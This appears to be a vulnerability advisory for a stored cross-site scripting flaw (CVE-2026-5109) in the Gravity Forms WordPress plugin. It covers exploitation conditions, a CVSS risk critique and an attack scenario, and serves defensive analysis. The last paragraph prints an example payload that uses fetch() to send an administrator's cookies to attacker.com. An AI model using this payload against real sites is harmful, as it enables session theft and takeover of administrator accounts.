Gravity Forms CVE-2026-5109

Requires the target WordPress site to have Gravity Forms plugin ≤2.10.0 installed with forms that include Product Option fields (typically e-commerce order forms). The specific vulnerable code path is triggered when: (1) a form with Product Option fields is publicly accessible (not restricted to authenticated users), (2) an attacker can submit form entries (default configuration allows unauthenticated submissions), and (3) a site administrator accesses the Gravity Forms entry details page via the admin panel to view the Order Summary section, which renders the option_label value from view-order-summary.php line 32 without escaping. Exploitation is limited by the requirement for administrator interaction-the payload remains dormant in the database until manually viewed. Forms without Product Option fields or those restricted to authenticated users only are not exploitable via this vector. The Changed scope in CVSS vector (S:C) reflects that the vulnerability bridges the trust boundary from unauthenticated public user to authenticated administrator context.

CVSS 7.2 (High) with network vector, low complexity, no privileges required, and changed scope indicates significant exploitability, but real-world risk requires nuanced assessment. The AV:N/AC:L/PR:N vector suggests easy remote exploitation, but this conflicts with the stored XSS nature requiring administrator interaction (UI:R would be more accurate). The Changed scope (S:C) correctly reflects privilege escalation from unauthenticated to admin context. However, actual exploitation depends on attackers submitting forms and administrators viewing entries-not fully automated. No EPSS score available to assess real-world exploitation probability. Not listed in CISA KEV, indicating no confirmed widespread exploitation. No public POC identified. Primary risk: targeted attacks against sites using Gravity Forms for e-commerce where attackers can submit product orders, then wait for admin review to trigger payload execution. This enables account takeover, data exfiltration, or further WordPress compromise. The CVSS score may overstate automated risk (should include UI:R) but appropriately reflects impact severity given admin-level code execution. Fix version not independently confirmed-requires verification via Gravity Forms changelog reference.

An unauthenticated attacker submits a Gravity Forms order containing a Product Option field with a crafted value like 'Large<script>fetch("https://attacker.com?c="+document.cookie)</script>'. The plugin's validation accepts this because wp_kses() strips the script tags for comparison against legitimate 'Large' option, but stores the full payload. When a site administrator logs into WordPress and views the entry details page to process the order, the Order Summary section outputs the unsanitized option_label, executing the JavaScript that exfiltrates the admin's session cookies to the attacker's server, enabling account takeover.